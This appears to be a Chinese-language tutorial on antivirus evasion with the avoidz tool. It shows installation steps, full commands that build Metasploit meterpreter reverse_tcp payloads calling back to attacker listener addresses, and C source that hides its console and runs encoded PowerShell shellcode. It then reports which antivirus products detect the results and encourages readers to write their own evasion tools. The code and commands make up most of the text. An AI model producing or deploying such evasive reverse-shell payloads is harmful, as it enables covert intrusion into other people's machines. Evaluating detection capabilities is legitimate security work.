0x01 免杀能力一查表
几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。
0x02 avoidz介绍
Avoidz是一个比较使用比较简单的小工具,利用msf生成powershell的shellocde,然后利用c#、python、go、ruby等语言对shellcode进行编译生成exe而达到免杀的效果,套路比较简单,但免杀效果还算不错。
0x03安装avoidz
avoidz使用是非常简单的,一行命令就可以,但安装比较费劲。因为官方是3年前更新的,里面有些错误,按官方的setup.sh是没法安装成功的。
首先从github上clone到本地
git clone https://github.com/M4sc3r4n0/avoidz
进入avoidz目录,执行chmod +x setup.sh
执行安装程序./setup.sh
会要求按照ruby、msf、wine、wine-python、wine-pyinstaller、golong等。
0x04 avoidz使用说明
安装好之后,使用起来非常非常简单,只有四个参数。
-h, --lhost value ip_addr|default = 127.0.0.1-p, --lport value port_number|default = 4444-m, --payload value payload to use|default = windows/meterpreter/reverse_tcp-f, --format value output format: c1, c2, cs, py, go
参数说明:
-h msf监听的IP,也就是攻击者的
-p msf监听的端口
-m msf的payload
-f 提供了5种编译格式,三种c/c#,一种python,一种go,都是生成exe文件
默认生成的payload目录为/root/目录下。
0x05 使用avoidz编译C#生成exe
提供3种C代码编译成exe的方式,想了解详情的可以cat avoidz.rb查看具体区别。
我以第一种为例进行测试
./avoidz.rb -h 192.168.142.134 -p 5555 -m windows/meterpreter/reverse_tcp -f c1
这种方式的C代码为
#include <windows.h>
int shellCode(){system("color 63");system("powershell.exe -nop -win Hidden -noni -enc #{powershell_encoded}");/*((Shell Code into the console))*/return 0;
}
void hide(){HWND stealth;AllocConsole();stealth = FindWindowA("ConsoleWindowClass",NULL);ShowWindow (stealth,0);
}
int main(){hide();shellCode();return 0;
}
}
执行后可正常上线
开启杀软进行测试,静态测试没问题,行为检测马上露馅。
0x06 使用avoidz编译python生成exe
使用python生成exe文件
./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f py
静态查杀没问题,行为检测依据被拦
0x07 使用avoidz编译golang生成exe
使用go生成exe文件
./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f go
go版本的静态查杀都没通过,行为检测依据被拦
0x07 小结
avoidz的原理还是比较简单的,msfvenom生成powershell的shellcode,然后各种语言编译一下生成exe,静态检测查杀率还算可以,但行为检测就很容易被查杀出来,和TheFatRat具有相同的缺陷。倒是可以借鉴下他的原理,自己写个免杀工具。
0x08 参考
官方使用教程:https://www.youtube.com/watch?v=ZilOByKkrVk